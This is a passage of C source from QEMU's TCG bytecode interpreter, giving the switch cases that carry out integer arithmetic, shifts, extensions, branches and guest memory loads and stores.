old_code_ptr + op_size); tb_ptr = (uint8_t *)label; continue; } break; #if TCG_TARGET_REG_BITS == 32 case INDEX_op_add2_i32: t0 = *tb_ptr++; t1 = *tb_ptr++; tmp64 = tci_read_r64(&tb_ptr); tmp64 += tci_read_r64(&tb_ptr); tci_write_reg64(t1, t0, tmp64); break; case INDEX_op_sub2_i32: t0 = *tb_ptr++; t1 = *tb_ptr++; tmp64 = tci_read_r64(&tb_ptr); tmp64 -= tci_read_r64(&tb_ptr); tci_write_reg64(t1, t0, tmp64); break; case INDEX_op_brcond2_i32: tmp64 = tci_read_r64(&tb_ptr); v64 = tci_read_ri64(&tb_ptr); condition = *tb_ptr++; label = tci_read_label(&tb_ptr); if (tci_compare64(tmp64, v64, condition)) { assert(tb_ptr == old_code_ptr + op_size); tb_ptr = (uint8_t *)label; continue; } break; case INDEX_op_mulu2_i32: t0 = *tb_ptr++; t1 = *tb_ptr++; t2 = tci_read_r32(&tb_ptr); tmp64 = tci_read_r32(&tb_ptr); tci_write_reg64(t1, t0, t2 * tmp64); break; #endif /* TCG_TARGET_REG_BITS == 32 */ #if TCG_TARGET_HAS_ext8s_i32 case INDEX_op_ext8s_i32: t0 = *tb_ptr++; t1 = tci_read_r8s(&tb_ptr); tci_write_reg32(t0, t1); break; #endif #if TCG_TARGET_HAS_ext16s_i32 case INDEX_op_ext16s_i32: t0 = *tb_ptr++; t1 = tci_read_r16s(&tb_ptr); tci_write_reg32(t0, t1); break; #endif #if TCG_TARGET_HAS_ext8u_i32 case INDEX_op_ext8u_i32: t0 = *tb_ptr++; t1 = tci_read_r8(&tb_ptr); tci_write_reg32(t0, t1); break; #endif #if TCG_TARGET_HAS_ext16u_i32 case INDEX_op_ext16u_i32: t0 = *tb_ptr++; t1 = tci_read_r16(&tb_ptr); tci_write_reg32(t0, t1); break; #endif #if TCG_TARGET_HAS_bswap16_i32 case INDEX_op_bswap16_i32: t0 = *tb_ptr++; t1 = tci_read_r16(&tb_ptr); tci_write_reg32(t0, bswap16(t1)); break; #endif #if TCG_TARGET_HAS_bswap32_i32 case INDEX_op_bswap32_i32: t0 = *tb_ptr++; t1 = tci_read_r32(&tb_ptr); tci_write_reg32(t0, bswap32(t1)); break; #endif #if TCG_TARGET_HAS_not_i32 case INDEX_op_not_i32: t0 = *tb_ptr++; t1 = tci_read_r32(&tb_ptr); tci_write_reg32(t0, ~t1); break; #endif #if TCG_TARGET_HAS_neg_i32 case INDEX_op_neg_i32: t0 = *tb_ptr++; t1 = tci_read_r32(&tb_ptr); tci_write_reg32(t0, -t1); break; #endif #if TCG_TARGET_REG_BITS == 64 case INDEX_op_mov_i64: t0 = *tb_ptr++; t1 = tci_read_r64(&tb_ptr); tci_write_reg64(t0, t1); break; case INDEX_op_movi_i64: t0 = *tb_ptr++; t1 = tci_read_i64(&tb_ptr); tci_write_reg64(t0, t1); break; /* Load/store operations (64 bit). */ case INDEX_op_ld8u_i64: t0 = *tb_ptr++; t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); tci_write_reg8(t0, *(uint8_t *)(t1 + t2)); break; case INDEX_op_ld8s_i64: case INDEX_op_ld16u_i64: case INDEX_op_ld16s_i64: TODO(); break; case INDEX_op_ld32u_i64: t0 = *tb_ptr++; t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); tci_write_reg32(t0, *(uint32_t *)(t1 + t2)); break; case INDEX_op_ld32s_i64: t0 = *tb_ptr++; t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); tci_write_reg32s(t0, *(int32_t *)(t1 + t2)); break; case INDEX_op_ld_i64: t0 = *tb_ptr++; t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); tci_write_reg64(t0, *(uint64_t *)(t1 + t2)); break; case INDEX_op_st8_i64: t0 = tci_read_r8(&tb_ptr); t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); *(uint8_t *)(t1 + t2) = t0; break; case INDEX_op_st16_i64: t0 = tci_read_r16(&tb_ptr); t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); *(uint16_t *)(t1 + t2) = t0; break; case INDEX_op_st32_i64: t0 = tci_read_r32(&tb_ptr); t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); *(uint32_t *)(t1 + t2) = t0; break; case INDEX_op_st_i64: t0 = tci_read_r64(&tb_ptr); t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); assert(t1 != sp_value || (int32_t)t2 < 0); *(uint64_t *)(t1 + t2) = t0; break; /* Arithmetic operations (64 bit). */ case INDEX_op_add_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, t1 + t2); break; case INDEX_op_sub_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, t1 - t2); break; case INDEX_op_mul_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, t1 * t2); break; #if TCG_TARGET_HAS_div_i64 case INDEX_op_div_i64: case INDEX_op_divu_i64: case INDEX_op_rem_i64: case INDEX_op_remu_i64: TODO(); break; #elif TCG_TARGET_HAS_div2_i64 case INDEX_op_div2_i64: case INDEX_op_divu2_i64: TODO(); break; #endif case INDEX_op_and_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, t1 & t2); break; case INDEX_op_or_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, t1 | t2); break; case INDEX_op_xor_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, t1 ^ t2); break; /* Shift/rotate operations (64 bit). */ case INDEX_op_shl_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, t1 << t2); break; case INDEX_op_shr_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, t1 >> t2); break; case INDEX_op_sar_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, ((int64_t)t1 >> t2)); break; #if TCG_TARGET_HAS_rot_i64 case INDEX_op_rotl_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, rol64(t1, t2)); break; case INDEX_op_rotr_i64: t0 = *tb_ptr++; t1 = tci_read_ri64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); tci_write_reg64(t0, ror64(t1, t2)); break; #endif #if TCG_TARGET_HAS_deposit_i64 case INDEX_op_deposit_i64: t0 = *tb_ptr++; t1 = tci_read_r64(&tb_ptr); t2 = tci_read_r64(&tb_ptr); tmp16 = *tb_ptr++; tmp8 = *tb_ptr++; tmp64 = (((1ULL << tmp8) - 1) << tmp16); tci_write_reg64(t0, (t1 & ~tmp64) | ((t2 << tmp16) & tmp64)); break; #endif case INDEX_op_brcond_i64: t0 = tci_read_r64(&tb_ptr); t1 = tci_read_ri64(&tb_ptr); condition = *tb_ptr++; label = tci_read_label(&tb_ptr); if (tci_compare64(t0, t1, condition)) { assert(tb_ptr == old_code_ptr + op_size); tb_ptr = (uint8_t *)label; continue; } break; #if TCG_TARGET_HAS_ext8u_i64 case INDEX_op_ext8u_i64: t0 = *tb_ptr++; t1 = tci_read_r8(&tb_ptr); tci_write_reg64(t0, t1); break; #endif #if TCG_TARGET_HAS_ext8s_i64 case INDEX_op_ext8s_i64: t0 = *tb_ptr++; t1 = tci_read_r8s(&tb_ptr); tci_write_reg64(t0, t1); break; #endif #if TCG_TARGET_HAS_ext16s_i64 case INDEX_op_ext16s_i64: t0 = *tb_ptr++; t1 = tci_read_r16s(&tb_ptr); tci_write_reg64(t0, t1); break; #endif #if TCG_TARGET_HAS_ext16u_i64 case INDEX_op_ext16u_i64: t0 = *tb_ptr++; t1 = tci_read_r16(&tb_ptr); tci_write_reg64(t0, t1); break; #endif #if TCG_TARGET_HAS_ext32s_i64 case INDEX_op_ext32s_i64: t0 = *tb_ptr++; t1 = tci_read_r32s(&tb_ptr); tci_write_reg64(t0, t1); break; #endif #if TCG_TARGET_HAS_ext32u_i64 case INDEX_op_ext32u_i64: t0 = *tb_ptr++; t1 = tci_read_r32(&tb_ptr); tci_write_reg64(t0, t1); break; #endif #if TCG_TARGET_HAS_bswap16_i64 case INDEX_op_bswap16_i64: TODO(); t0 = *tb_ptr++; t1 = tci_read_r16(&tb_ptr); tci_write_reg64(t0, bswap16(t1)); break; #endif #if TCG_TARGET_HAS_bswap32_i64 case INDEX_op_bswap32_i64: t0 = *tb_ptr++; t1 = tci_read_r32(&tb_ptr); tci_write_reg64(t0, bswap32(t1)); break; #endif #if TCG_TARGET_HAS_bswap64_i64 case INDEX_op_bswap64_i64: t0 = *tb_ptr++; t1 = tci_read_r64(&tb_ptr); tci_write_reg64(t0, bswap64(t1)); break; #endif #if TCG_TARGET_HAS_not_i64 case INDEX_op_not_i64: t0 = *tb_ptr++; t1 = tci_read_r64(&tb_ptr); tci_write_reg64(t0, ~t1); break; #endif #if TCG_TARGET_HAS_neg_i64 case INDEX_op_neg_i64: t0 = *tb_ptr++; t1 = tci_read_r64(&tb_ptr); tci_write_reg64(t0, -t1); break; #endif #endif /* TCG_TARGET_REG_BITS == 64 */ /* QEMU specific operations. */ #if TARGET_LONG_BITS > TCG_TARGET_REG_BITS case INDEX_op_debug_insn_start: TODO(); break; #else case INDEX_op_debug_insn_start: TODO(); break; #endif case INDEX_op_exit_tb: next_tb = *(uint64_t *)tb_ptr; goto exit; break; case INDEX_op_goto_tb: t0 = tci_read_i32(&tb_ptr); assert(tb_ptr == old_code_ptr + op_size); tb_ptr += (int32_t)t0; continue; case INDEX_op_qemu_ld8u: t0 = *tb_ptr++; taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU tmp8 = helper_ldb_mmu(env, taddr, tci_read_i(&tb_ptr)); #else host_addr = (tcg_target_ulong)taddr; tmp8 = *(uint8_t *)(host_addr + GUEST_BASE); #endif tci_write_reg8(t0, tmp8); break; case INDEX_op_qemu_ld8s: t0 = *tb_ptr++; taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU tmp8 = helper_ldb_mmu(env, taddr, tci_read_i(&tb_ptr)); #else host_addr = (tcg_target_ulong)taddr; tmp8 = *(uint8_t *)(host_addr + GUEST_BASE); #endif tci_write_reg8s(t0, tmp8); break; case INDEX_op_qemu_ld16u: t0 = *tb_ptr++; taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU tmp16 = helper_ldw_mmu(env, taddr, tci_read_i(&tb_ptr)); #else host_addr = (tcg_target_ulong)taddr; tmp16 = tswap16(*(uint16_t *)(host_addr + GUEST_BASE)); #endif tci_write_reg16(t0, tmp16); break; case INDEX_op_qemu_ld16s: t0 = *tb_ptr++; taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU tmp16 = helper_ldw_mmu(env, taddr, tci_read_i(&tb_ptr)); #else host_addr = (tcg_target_ulong)taddr; tmp16 = tswap16(*(uint16_t *)(host_addr + GUEST_BASE)); #endif tci_write_reg16s(t0, tmp16); break; #if TCG_TARGET_REG_BITS == 64 case INDEX_op_qemu_ld32u: t0 = *tb_ptr++; taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU tmp32 = helper_ldl_mmu(env, taddr, tci_read_i(&tb_ptr)); #else host_addr = (tcg_target_ulong)taddr; tmp32 = tswap32(*(uint32_t *)(host_addr + GUEST_BASE)); #endif tci_write_reg32(t0, tmp32); break; case INDEX_op_qemu_ld32s: t0 = *tb_ptr++; taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU tmp32 = helper_ldl_mmu(env, taddr, tci_read_i(&tb_ptr)); #else host_addr = (tcg_target_ulong)taddr; tmp32 = tswap32(*(uint32_t *)(host_addr + GUEST_BASE)); #endif tci_write_reg32s(t0, tmp32); break; #endif /* TCG_TARGET_REG_BITS == 64 */ case INDEX_op_qemu_ld32: t0 = *tb_ptr++; taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU tmp32 = helper_ldl_mmu(env, taddr, tci_read_i(&tb_ptr)); #else host_addr = (tcg_target_ulong)taddr; tmp32 = tswap32(*(uint32_t *)(host_addr + GUEST_BASE)); #endif tci_write_reg32(t0, tmp32); break; case INDEX_op_qemu_ld64: t0 = *tb_ptr++; #if TCG_TARGET_REG_BITS == 32 t1 = *tb_ptr++; #endif taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU tmp64 = helper_ldq_mmu(env, taddr, tci_read_i(&tb_ptr)); #else host_addr = (tcg_target_ulong)taddr; tmp64 = tswap64(*(uint64_t *)(host_addr + GUEST_BASE)); #endif tci_write_reg(t0, tmp64); #if TCG_TARGET_REG_BITS == 32 tci_write_reg(t1, tmp64 >> 32); #endif break; case INDEX_op_qemu_st8: t0 = tci_read_r8(&tb_ptr); taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU t2 = tci_read_i(&tb_ptr); helper_stb_mmu(env, taddr, t0, t2); #else host_addr = (tcg_target_ulong)taddr; *(uint8_t *)(host_addr + GUEST_BASE) = t0; #endif break; case INDEX_op_qemu_st16: t0 = tci_read_r16(&tb_ptr); taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU t2 = tci_read_i(&tb_ptr); helper_stw_mmu(env, taddr, t0, t2); #else host_addr = (tcg_target_ulong)taddr; *(uint16_t *)(host_addr + GUEST_BASE) = tswap16(t0); #endif break; case INDEX_op_qemu_st32: t0 = tci_read_r32(&tb_ptr); taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU t2 = tci_read_i(&tb_ptr); helper_stl_mmu(env, taddr, t0, t2); #else host_addr = (tcg_target_ulong)taddr; *(uint32_t *)(host_addr + GUEST_BASE) = tswap32(t0); #endif break; case INDEX_op_qemu_st64: tmp64 = tci_read_r64(&tb_ptr); taddr = tci_read_ulong(&tb_ptr); #ifdef CONFIG_SOFTMMU t2 = tci_read_i(&tb_ptr); helper_stq_mmu(env, taddr, tmp64, t2); #else host_addr = (tcg_target_ulong)taddr; *(uint64_t *)(host_addr + GUEST_BASE) = tswap64(tmp64); #endif break; default: TODO(); break; } assert(tb_ptr == old_code_ptr + op_size); } exit: return next_tb; }